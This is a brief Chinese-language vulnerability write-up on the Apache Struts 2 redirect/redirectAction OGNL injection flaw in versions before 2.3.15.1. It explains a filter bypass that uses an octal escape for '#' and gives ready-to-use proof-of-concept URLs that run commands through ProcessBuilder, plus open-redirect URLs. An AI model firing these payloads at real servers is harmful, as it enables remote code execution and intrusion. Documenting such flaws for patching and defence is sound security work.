受影响的是Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。主要安全漏洞如下:
以POST的方式提交绕过对输入参数的部分过滤。命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。
如@
Runtime@getRuntime().exec
@
class@method
访问静态方法xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。
1. 通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀,以实现远程代码执行,如下:
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
2. 通过在参数前面加上“redirect:”/“redirectAction:”前缀,以实现开放式重定向,如下:
http://host/struts2-showcase/fileupload/upload.action?redirect:
http://www.yahoo.com/http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:
http://www.google.com/%23